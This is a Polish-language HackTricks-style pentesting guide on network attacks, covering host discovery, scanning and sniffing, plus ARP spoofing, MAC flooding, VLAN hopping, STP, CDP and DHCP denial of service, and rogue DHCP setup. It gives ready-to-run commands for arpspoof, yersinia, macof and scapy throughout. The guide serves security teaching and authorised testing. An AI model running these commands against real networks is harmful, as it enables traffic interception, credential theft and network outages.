Pentesting Network

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Odkrywanie hostów z zewnątrz

To będzie krótka sekcja dotycząca sposobów znajdowania odpowiadających adresów IP z Internetu. W tej sytuacji masz pewien zakres adresów IP (może nawet kilka zakresów) i chcesz po prostu dowiedzieć się, które adresy IP odpowiadają.

ICMP

To jest najłatwiejszy i najszybszy sposób na odkrycie, czy host jest aktywny, czy nie. Możesz spróbować wysłać kilka pakietów ICMP i oczekiwać odpowiedzi. Najprostszym sposobem jest wysłanie żądania echo i oczekiwanie na odpowiedź. Możesz to zrobić za pomocą prostego polecenia ping lub używając fping do zakresów. Możesz także użyć nmap do wysyłania innych rodzajów pakietów ICMP (to pozwoli ominąć filtry dla standardowego żądania-odpowiedzi echo ICMP).

ping -c 1 199.66.11.4    # 1 echo request to a host
fping -g 199.66.11.0/24  # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests

Odkrywanie portów TCP

Bardzo często zdarza się, że wszystkie rodzaje pakietów ICMP są filtrowane. W takim przypadku jedyną rzeczą, którą możesz zrobić, aby sprawdzić, czy host jest aktywny, jest sprawdzenie otwartych portów. Każdy host ma 65535 portów, więc jeśli masz "duży" zakres, nie możesz testować, czy każdy port każdego hosta jest otwarty czy nie, ponieważ zajęłoby to zbyt dużo czasu. W takim przypadku potrzebujesz szybkiego skanera portów (masscan) oraz listy najczęściej używanych portów:

#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24

Odkrywanie portów HTTP

Jest to po prostu odkrywanie portów TCP przydatne, gdy chcesz skupić się na odkrywaniu usług HTTP:

masscan -p80,443,8000-8100,8443 199.66.11.0/24

Odkrywanie portów UDP

Możesz również spróbować sprawdzić, czy jest otwarty port UDP, aby zdecydować, czy powinieneś zwrócić większą uwagę na hosta. Ponieważ usługi UDP zazwyczaj nie odpowiadają żadnymi danymi na zwykły pusty pakiet sondy UDP, trudno powiedzieć, czy port jest filtrowany czy otwarty. Najprostszym sposobem na podjęcie decyzji jest wysłanie pakietu związane z działającą usługą, a ponieważ nie wiesz, która usługa jest uruchomiona, powinieneś spróbować najbardziej prawdopodobnej na podstawie numeru portu:

nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable

Linia nmap zaproponowana wcześniej przetestuje top 1000 portów UDP w każdym hoście w zakresie /24, ale nawet to zajmie >20 minut. Jeśli potrzebujesz szybkich wyników, możesz użyć udp-proto-scanner: ./udp-proto-scanner.pl 199.66.11.53/24 To wyśle te sondy UDP do ich oczekiwanych portów (dla zakresu /24 zajmie to tylko 1 minutę): DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.

Odkrywanie portów SCTP

#Probably useless, but it's pretty fast, why not trying?
nmap -T4 -sY -n --open -Pn <IP/range>

Testowanie penetracyjne Wifi

Tutaj znajdziesz ładny przewodnik po wszystkich dobrze znanych atakach na Wifi w czasie pisania:

pagePentesting Wifi

Odkrywanie hostów od wewnątrz

Jeśli jesteś wewnątrz sieci, jedną z pierwszych rzeczy, które chcesz zrobić, jest odkrycie innych hostów. W zależności od tego, jak wiele hałasu możesz/chcesz zrobić, można wykonać różne działania:

Pasywny

Możesz użyć tych narzędzi do pasywnego odkrywania hostów w połączonej sieci:

netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info

Aktywne

Zauważ, że techniki omówione w Odkrywanie hostów z zewnątrz (Odkrywanie portów TCP/HTTP/UDP/SCTP) mogą być również zastosowane tutaj. Jednak, ponieważ znajdujesz się w tym samym sieci, co inne hosty, możesz zrobić więcej rzeczy:

#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)

#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain

# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)

#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.

Aktywne ICMP

Zauważ, że techniki omówione w Odkrywanie hostów z zewnątrz (ICMP) mogą być również stosowane tutaj. Jednak, ponieważ jesteś w takiej samej sieci jak inne hosty, możesz zrobić więcej rzeczy:

  • Jeśli pingujesz adres rozgłoszeniowy podsieci, ping powinien dotrzeć do każdego hosta i mogą oni odpowiedzieć do Ciebie: ping -b 10.10.5.255

  • Pingując adres rozgłoszeniowy sieci, możesz nawet znaleźć hosty wewnątrz innych podsieci: ping -b 255.255.255.255

  • Użyj flag -PE, -PP, -PM narzędzia nmap do przeprowadzenia odkrywania hostów wysyłając odpowiednio żądania ICMPv4 echo, znacznik czasu i maskę podsieci: nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24

Budzenie przez sieć (Wake On Lan)

Budzenie przez sieć (Wake On Lan) służy do włączania komputerów za pomocą wiadomości sieciowej. Pakiet magiczny używany do włączenia komputera to po prostu pakiet, w którym podany jest MAC Dst, a następnie jest powtarzany 16 razy w tym samym pakiecie. Następnie tego rodzaju pakiety są zazwyczaj wysyłane w ramce ethernet 0x0842 lub w pakiecie UDP na port 9. Jeśli nie jest podany żaden [MAC], pakiet jest wysyłany do rozgłoszeniowego ethernetu (a rozgłoszeniowy MAC będzie powtarzany).

# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9

Skanowanie hostów

Po odkryciu wszystkich adresów IP (zewnętrznych lub wewnętrznych), które chcesz dokładnie zeskanować, można wykonać różne działania.

TCP

  • Otwarty port: SYN --> SYN/ACK --> RST

  • Zamknięty port: SYN --> RST/ACK

  • Filtrowany port: SYN --> [BRAK ODPOWIEDZI]

  • Filtrowany port: SYN --> Wiadomość ICMP

# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>

#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000

UDP

Istnieją 2 opcje skanowania portu UDP:

  • Wyślij pakiet UDP i sprawdź odpowiedź ICMP unreachable, jeśli port jest zamknięty (w wielu przypadkach ICMP będzie filtrowany, więc nie otrzymasz żadnych informacji, czy port jest zamknięty czy otwarty).

  • Wyślij sformatowane datagramy, aby wywołać odpowiedź z usługi (np. DNS, DHCP, TFTP i inne, jak wymienione w nmap-payloads). Jeśli otrzymasz odpowiedź, to port jest otwarty.

Nmap będzie łączył obie opcje, używając "-sV" (skany UDP są bardzo wolne), ale zauważ, że skany UDP są wolniejsze niż skany TCP:

# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time

Skanowanie SCTP

SCTP (Protokół transmisji sterowanej strumieniem) został zaprojektowany do użytku obok TCP (Protokół sterowania transmisją) i UDP (Protokół datagramów użytkownika). Jego głównym celem jest ułatwienie transportu danych telefonicznych w sieciach IP, odzwierciedlając wiele cech niezawodności znalezionych w Systemie sygnalizacyjnym 7 (SS7). SCTP jest podstawowym składnikiem rodziny protokołów SIGTRAN, które mają na celu transport sygnałów SS7 w sieciach IP.

Wsparcie dla SCTP jest dostarczane przez różne systemy operacyjne, takie jak IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS i VxWorks, co wskazuje na jego szerokie akceptowanie i użyteczność w dziedzinie telekomunikacji i sieci.

Nmap oferuje dwa różne skany dla SCTP: -sY i -sZ

# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>

Unikanie wykrycia przez IDS i IPS

pageIDS and IPS Evasion

Więcej opcji nmap

pageNmap Summary (ESP)

Ujawnianie wewnętrznych adresów IP

Źle skonfigurowane routery, firewalle i urządzenia sieciowe czasami odpowiadają na sondy sieciowe, używając niepublicznych adresów źródłowych. tcpdump może być wykorzystany do identyfikacji pakietów otrzymywanych z adresów prywatnych podczas testowania. W szczególności, na Kali Linux, pakiety mogą być przechwytywane na interfejsie eth2, który jest dostępny z publicznego Internetu. Warto zauważyć, że jeśli twoje środowisko jest za NAT-em lub Firewallem, takie pakiety prawdopodobnie zostaną odfiltrowane.

tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64

Podsłuchiwanie

Podczas podsłuchiwania możesz dowiedzieć się szczegółów dotyczących zakresów adresów IP, rozmiarów podsieci, adresów MAC i nazw hostów, przeglądając przechwycone ramki i pakiety. Jeśli sieć jest źle skonfigurowana lub tkanina przełączająca jest obciążona, atakujący mogą przechwycić poufne materiały poprzez pasywne podsłuchiwanie sieci.

Jeśli przełączona sieć Ethernet jest poprawnie skonfigurowana, zobaczysz tylko ramki rozgłoszeniowe i materiał przeznaczony dla Twojego adresu MAC.

TCPDump

sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"

Można również przechwytywać pakiety z zdalnej maszyny podczas sesji SSH za pomocą Wireshark jako interfejsu GUI w czasie rzeczywistym.

ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic

Bettercap

net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local  #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered

Wireshark

Oczywiście.

Przechwytywanie poświadczeń

Możesz użyć narzędzi takich jak https://github.com/lgandx/PCredz do analizy poświadczeń z pliku pcap lub interfejsu na żywo.

Ataki LAN

ARP spoofing

ARP Spoofing polega na wysyłaniu fałszywych odpowiedzi ARP w celu wskazania, że IP maszyny ma MAC naszego urządzenia. Następnie ofiara zmieni tabelę ARP i będzie kontaktować się z naszym urządzeniem za każdym razem, gdy chce skontaktować się z podszywanym adresem IP.

Bettercap

arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)

Arpspoof

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1

Zatapianie MAC - przepełnienie CAM

Przepełnij tabelę CAM przełącznika, wysyłając wiele pakietów z różnymi adresami MAC źródłowymi. Gdy tabela CAM jest pełna, przełącznik zaczyna zachowywać się jak koncentrator (rozsyłając cały ruch).

macof -i <interface>

W nowoczesnych przełącznikach ta podatność została naprawiona.

Ataki 802.1Q VLAN / DTP

Dynamiczne Trunkowanie

Protokół Dynamic Trunking Protocol (DTP) został zaprojektowany jako protokół warstwy łącza umożliwiający automatyczny system trunkowania, pozwalając przełącznikom automatycznie wybierać porty w trybie trunk (Trunk) lub nie-trunk. Wdrożenie DTP jest często postrzegane jako wskazanie na suboptymalny projekt sieci, podkreślając konieczność ręcznej konfiguracji trunków tylko tam, gdzie jest to konieczne, oraz zapewnienia odpowiedniej dokumentacji.

Domyślnie porty przełącznika są ustawione na tryb Dynamic Auto, co oznacza, że są gotowe do rozpoczęcia trunkowania, jeśli zostaną do tego skłonione przez sąsiedni przełącznik. Problem związany z bezpieczeństwem pojawia się, gdy pentester lub atakujący podłącza się do przełącznika i wysyła ramkę DTP Desirable, zmuszając port do przejścia w tryb trunk. Ta czynność umożliwia atakującemu wyliczenie VLAN-ów poprzez analizę ramek STP oraz obejście segmentacji VLAN poprzez konfigurację interfejsów wirtualnych.

Obecność DTP w wielu przełącznikach domyślnie może być wykorzystana przez przeciwników do naśladowania zachowania przełącznika, co umożliwia dostęp do ruchu we wszystkich VLAN-ach. Skrypt dtpscan.sh jest wykorzystywany do monitorowania interfejsu, ujawniając, czy przełącznik jest w trybie domyślnym, trunk, dynamic, auto lub access—ten ostatni jest jedyną konfiguracją odporną na ataki VLAN hopping. Narzędzie to ocenia stan podatności przełącznika.

Jeśli zidentyfikowano podatność sieciową, narzędzie Yersinia może być wykorzystane do "włączenia trunkowania" za pomocą protokołu DTP, umożliwiając obserwację pakietów ze wszystkich VLAN-ów.

apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"

yersinia -G #For graphic mode

Aby wyliczyć VLAN-y, można również wygenerować ramkę DTP Desirable za pomocą skryptu DTPHijacking.py. Nie przerywaj skryptu pod żadnym pozorem. Wstrzykuje on ramki DTP Desirable co trzy sekundy. Dynamicznie tworzone kanały trunkowe na przełączniku istnieją tylko przez pięć minut. Po upływie pięciu minut kanał trunkowy znika.

sudo python3 DTPHijacking.py --interface eth0

Chciałbym zwrócić uwagę, że Dostępny/Żądany (0x03) oznacza, że ramka DTP jest typu Żądany, co informuje port o przełączeniu się w tryb Trunk. Natomiast 802.1Q/802.1Q (0xa5) wskazuje typ enkapsulacji 802.1Q.

Analizując ramki STP, dowiedzieliśmy się o istnieniu VLAN 30 i VLAN 60.

Atakowanie konkretnych VLANów

Gdy znasz identyfikatory VLAN i wartości IP, możesz skonfigurować wirtualny interfejs do ataku na określony VLAN. Jeśli DHCP nie jest dostępne, użyj ifconfig do ustawienia statycznego adresu IP.

root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250  Link encap:Ethernet  HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86  Bcast:10.121.5.255  Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB)  TX bytes:1654 (1.6 KiB)

root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30

Automatyczny skaczący VLAN

Omawiany atak Dynamic Trunking i tworzenie wirtualnych interfejsów oraz odkrywanie hostów w innych VLAN-ach jest automatycznie wykonywany przez narzędzie: https://github.com/nccgroup/vlan-hopping---frogger

Podwójne oznakowanie

Jeśli atakujący zna wartość MAC, IP i ID VLAN ofiary, może spróbować podwójnie oznakować ramkę z jej przeznaczonym VLAN-em i VLAN-em ofiary, a następnie wysłać pakiet. Ponieważ ofiara nie będzie mogła się połączyć z powrotem z atakującym, najlepszą opcją dla atakującego jest komunikacja za pomocą UDP z protokołami, które mogą wykonać pewne interesujące akcje (np. SNMP).

Inną opcją dla atakującego jest uruchomienie skanowania portów TCP podając jako źródło IP kontrolowane przez atakującego i dostępne dla ofiary (prawdopodobnie przez internet). Następnie atakujący mógłby podsłuchiwać w drugim hostu należącym do niego, czy otrzymuje jakieś pakiety od ofiary.

Aby przeprowadzić ten atak, można użyć narzędzia scapy: pip install scapy

from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)

Ominięcie Segmentacji VLAN Lateralna

Jeśli masz dostęp do przełącznika, do którego jesteś bezpośrednio podłączony, masz możliwość ominięcia segmentacji VLAN w sieci. Po prostu zmień port na tryb trunk (inaczej znany jako trunk), stwórz wirtualne interfejsy z identyfikatorami docelowych VLAN-ów i skonfiguruj adres IP. Możesz spróbować żądać adresu dynamicznie (DHCP) lub skonfigurować go statycznie. To zależy od sytuacji.

pageLateral VLAN Segmentation Bypass

Ominięcie Prywatnego VLAN Warstwy 3

W pewnych środowiskach, takich jak sieci bezprzewodowe dla gości, ustawienia izolacji portów (znane również jako prywatny VLAN) są wdrożone w celu zapobieżenia bezpośredniej komunikacji klientów podłączonych do punktu dostępu bezprzewodowego. Zidentyfikowano jednak technikę, która może obejść te środki izolacji. Ta technika wykorzystuje brak list ACL sieciowych lub ich nieprawidłową konfigurację, umożliwiając przekierowanie pakietów IP przez router, aby dotrzeć do innego klienta w tej samej sieci.

Atak jest przeprowadzany poprzez stworzenie pakietu, który przenosi adres IP docelowego klienta, ale z adresem MAC routera. Powoduje to błędne przekierowanie pakietu przez router do klienta docelowego. Ten sposób działania jest podobny do tego używanego w atakach podwójnego znakowania, gdzie możliwość kontrolowania hosta dostępnego dla ofiary jest wykorzystywana do wykorzystania luki w zabezpieczeniach.

Kluczowe Kroki Ataku:

  1. Tworzenie Pakietu: Pakiet jest specjalnie przygotowany tak, aby zawierał adres IP docelowego klienta, ale z adresem MAC routera.

  2. Wykorzystanie Zachowania Routera: Przygotowany pakiet jest wysyłany do routera, który, ze względu na konfigurację, przekierowuje pakiet do klienta docelowego, omijając izolację zapewnioną przez ustawienia prywatnego VLAN.

Ataki VTP

VTP (VLAN Trunking Protocol) centralizuje zarządzanie VLAN-ami. Wykorzystuje numery rewizji do utrzymania integralności bazy danych VLAN; każda modyfikacja zwiększa ten numer. Przełączniki przyjmują konfiguracje z wyższymi numerami rewizji, aktualizując swoje bazy danych VLAN.

Role Domeny VTP

  • Serwer VTP: Zarządza VLAN-ami—tworzy, usuwa, modyfikuje. Wysyła ogłoszenia VTP do członków domeny.

  • Klient VTP: Odbiera ogłoszenia VTP w celu zsynchronizowania swojej bazy danych VLAN. Ta rola jest ograniczona od modyfikacji lokalnej konfiguracji VLAN.

  • Transparentny VTP: Nie uczestniczy w aktualizacjach VTP, ale przekazuje ogłoszenia VTP. Nie dotyczą go ataki VTP, utrzymuje stały numer rewizji równy zero.

Typy Ogłoszeń VTP

  • Ogłoszenie Podsumowujące: Wysyłane przez serwer VTP co 300 sekund, przenoszące istotne informacje o domenie.

  • Ogłoszenie Podzbiór: Wysyłane po zmianach konfiguracji VLAN.

  • Żądanie Ogłoszenia: Wystawiane przez klienta VTP w celu żądania Ogłoszenia Podsumowującego, zazwyczaj w odpowiedzi na wykrycie wyższego numeru rewizji konfiguracji.

Układy VTP są podatne na ataki wyłącznie poprzez porty trunkowe, ponieważ ogłoszenia VTP krążą wyłącznie przez nie. Scenariusze ataków po DTP mogą skierować się w stronę VTP. Narzędzia takie jak Yersinia mogą ułatwić ataki VTP, mające na celu usunięcie bazy danych VLAN, skutecznie zakłócając sieć.

Uwaga: Ta dyskusja dotyczy wersji VTP 1 (VTPv1).

%% yersinia -G # Launch Yersinia in graphical mode ```

Ataki STP

Jeśli nie możesz przechwycić ramek BPDU na swoich interfejsach, mało prawdopodobne jest, że uda ci się przeprowadzić atak STP.

DoS BPDU STP

Wysyłając wiele ramek BPDUs TCP (Topology Change Notification) lub Conf (BPDUs wysyłane podczas tworzenia topologii), przełączniki zostają przeciążone i przestają działać poprawnie.

yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing

Atak STP TCP

Kiedy zostanie wysłane TCP, tabela CAM przełączników zostanie usunięta w ciągu 15s. Następnie, jeśli wysyłasz ciągle ten rodzaj pakietów, tabela CAM będzie ciągle restartowana (co 15 sekund) i gdy zostanie zrestartowana, przełącznik zachowuje się jak koncentrator.

yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen

Atak na korzeń STP

Atakujący symuluje zachowanie przełącznika, aby stać się korzeniem STP sieci. Wtedy więcej danych będzie przechodzić przez niego. Jest to interesujące, gdy jesteś podłączony do dwóch różnych przełączników. Dzieje się to poprzez wysyłanie pakietów CONF BPDUs mówiących, że wartość priorytetu jest mniejsza niż rzeczywisty priorytet rzeczywistego przełącznika korzenia.

yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root

Jeśli atakujący jest podłączony do 2 przełączników, może stać się korzeniem nowego drzewa i cały ruch pomiędzy tymi przełącznikami będzie przechodził przez niego (ataku typu MITM zostanie przeprowadzony).

yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages

Ataki CDP

Protokół Odkrywania CISCO (CDP) jest niezbędny do komunikacji między urządzeniami CISCO, umożliwiając im identyfikację siebie nawzajem i udostępnianie szczegółów konfiguracji.

Pasywne Zbieranie Danych

CDP jest skonfigurowany do rozgłaszania informacji przez wszystkie porty, co może prowadzić do ryzyka bezpieczeństwa. Atakujący, po podłączeniu do portu przełącznika, może zastosować narzędzia do przechwytywania sieci takie jak Wireshark, tcpdump lub Yersinia. Ta akcja może ujawnić wrażliwe dane na temat urządzenia sieciowego, w tym jego model i wersję systemu Cisco IOS, który jest używany. Następnie atakujący może skierować się przeciwko konkretnym podatnościom w zidentyfikowanej wersji Cisco IOS.

Wywoływanie Zatłoczenia Tabeli CDP

Bardziej agresywne podejście polega na uruchomieniu ataku typu Denial of Service (DoS), przytłaczając pamięć przełącznika, udając prawidłowe urządzenia CISCO. Poniżej znajduje się sekwencja poleceń do zainicjowania takiego ataku przy użyciu narzędzia sieciowego Yersinia, przeznaczonego do testowania:

sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G

Podczas tego ataku, procesor przełącznika oraz tabela sąsiadów CDP są silnie obciążone, prowadząc często do tzw. "paraliżu sieci" z powodu nadmiernego zużycia zasobów.

Atak podszywania się pod CDP

sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet

Możesz również użyć scapy. Upewnij się, że instalujesz go z pakietem scapy/contrib.

Ataki VoIP i narzędzie VoIP Hopper

Telefony VoIP, coraz bardziej zintegrowane z urządzeniami IoT, oferują funkcje takie jak otwieranie drzwi lub sterowanie termostatami za pomocą specjalnych numerów telefonów. Jednak ta integracja może stanowić ryzyko dla bezpieczeństwa.

Narzędzie voiphopper zostało zaprojektowane do emulowania telefonu VoIP w różnych środowiskach (Cisco, Avaya, Nortel, Alcatel-Lucent). Odkrywa identyfikator VLAN sieci głosowej za pomocą protokołów takich jak CDP, DHCP, LLDP-MED i 802.1Q ARP.

VoIP Hopper oferuje trzy tryby dla protokołu Cisco Discovery Protocol (CDP):

  1. Tryb Sniff (-c 0): Analizuje pakiety sieciowe w celu zidentyfikowania identyfikatora VLAN.

  2. Tryb Spoof (-c 1): Generuje niestandardowe pakiety imitujące te z rzeczywistego urządzenia VoIP.

  3. Tryb Spoof z Wcześniej Utworzonym Pakietem (-c 2): Wysyła pakiety identyczne z tymi z określonego modelu telefonu IP Cisco.

Preferowany tryb dla szybkości to trzeci. Wymaga określenia:

  • Interfejsu sieciowego atakującego (-i parametr).

  • Nazwy urządzenia VoIP, które jest emulowane (-E parametr), zgodnie z formatem nazewnictwa Cisco (np. SEP, a następnie adres MAC).

W ustawieniach korporacyjnych, aby zasymulować istniejące urządzenie VoIP, można:

  • Sprawdzić etykietę MAC na telefonie.

  • Przejrzeć ustawienia wyświetlacza telefonu, aby zobaczyć informacje o modelu.

  • Podłączyć urządzenie VoIP do laptopa i obserwować żądania CDP za pomocą Wireshark.

Przykładowe polecenie do wykonania narzędzia w trzecim trybie byłoby:

voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2

Ataki DHCP

Wyliczanie

nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
|   Response 1 of 1:
|     IP Offered: 192.168.1.250
|     DHCP Message Type: DHCPOFFER
|     Server Identifier: 192.168.1.1
|     IP Address Lease Time: 1m00s
|     Subnet Mask: 255.255.255.0
|     Router: 192.168.1.1
|     Domain Name Server: 192.168.1.1
|_    Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds

DoS

Istnieją dwa rodzaje ataków typu DoS, które można przeprowadzić przeciwko serwerom DHCP. Pierwszy polega na symulowaniu wystarczającej liczby fałszywych hostów, aby zużyć wszystkie możliwe adresy IP. Ten atak zadziała tylko wtedy, gdy można zobaczyć odpowiedzi serwera DHCP i ukończyć protokół (Odkryj (Komputer) --> Oferta (serwer) --> Żądanie (Komputer) --> Potwierdzenie (serwer)). Na przykład nie jest to możliwe w sieciach Wifi.

Innym sposobem przeprowadzenia ataku typu DoS na DHCP jest wysłanie pakietu DHCP-RELEASE, używając jako źródła każdego możliwego adresu IP. Wtedy serwer będzie sądził, że wszyscy zakończyli korzystanie z danego adresu IP.

yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed

Aby zrobić to bardziej automatycznie, użyj narzędzia DHCPing

Możesz użyć wspomnianych ataków DoS, aby zmusić klientów do uzyskania nowych dzierżaw w środowisku i wyczerpać prawidłowe serwery, aby stały się nieodpowiedzialne. Dlatego gdy prawidłowe serwery spróbują ponownie połączyć się, możesz serwować złośliwe wartości wspomniane w następnym ataku.

Ustaw złośliwe wartości

Rogi serwer DHCP można skonfigurować, używając skryptu DHCP znajdującego się w /usr/share/responder/DHCP.py. Jest to przydatne do ataków sieciowych, takich jak przechwytywanie ruchu HTTP i poświadczeń, poprzez przekierowywanie ruchu do złośliwego serwera. Jednakże, ustawienie fałszywej bramy jest mniej skuteczne, ponieważ pozwala tylko na przechwytywanie ruchu wychodzącego z klienta, pomijając odpowiedzi od prawdziwej bramy. Zamiast tego, zaleca się ustawienie fałszywego serwera DNS lub WPAD dla bardziej skutecznego ataku.

Poniżej znajdują się opcje poleceń do konfigurowania fałszywego serwera DHCP:

  • Nasz adres IP (Reklama Bramy): Użyj -i 10.0.0.100, aby reklamować IP twojego urządzenia jako bramę.

  • Lokalna nazwa domeny DNS: Opcjonalnie, użyj -d example.org, aby ustawić lokalną nazwę domeny DNS.

  • Oryginalny Router/Brama IP: Użyj -r 10.0.0.1, aby określić adres IP prawidłowego routera lub bramy.

  • Główny adres IP serwera DNS: Użyj -p 10.0.0.100, aby ustawić adres IP fałszywego serwera DNS, który kontrolujesz.

  • Drugi adres IP serwera DNS: Opcjonalnie, użyj -s 10.0.0.1, aby ustawić drugi adres IP serwera DNS.

  • Maska podsieci lokalnej sieci: Użyj -n 255.255.255.0, aby zdefiniować maskę podsieci dla lokalnej sieci.

  • Interfejs do ruchu DHCP: Użyj -I eth1, aby nasłuchiwać ruchu DHCP na określonym interfejsie sieciowym.

  • Adres konfiguracji WPAD: Użyj -w “http://10.0.0.100/wpad.dat”, aby ustawić adres konfiguracji WPAD, pomagając w przechwytywaniu ruchu sieciowego.

  • Podszywanie adresu IP domyślnej bramy: Dodaj -S, aby podszyć adres IP domyślnej bramy.

  • Odpowiedź na wszystkie żądania DHCP: Dodaj -R, aby sprawić, że serwer odpowie na wszystkie żądania DHCP, ale miej świadomość, że jest to głośne i może być wykryte.

Poprawne użycie tych opcji pozwala na skuteczne przechwytywanie ruchu sieciowego za pomocą fałszywego serwera DHCP.

# Example to start a rogue DHCP server with specified options
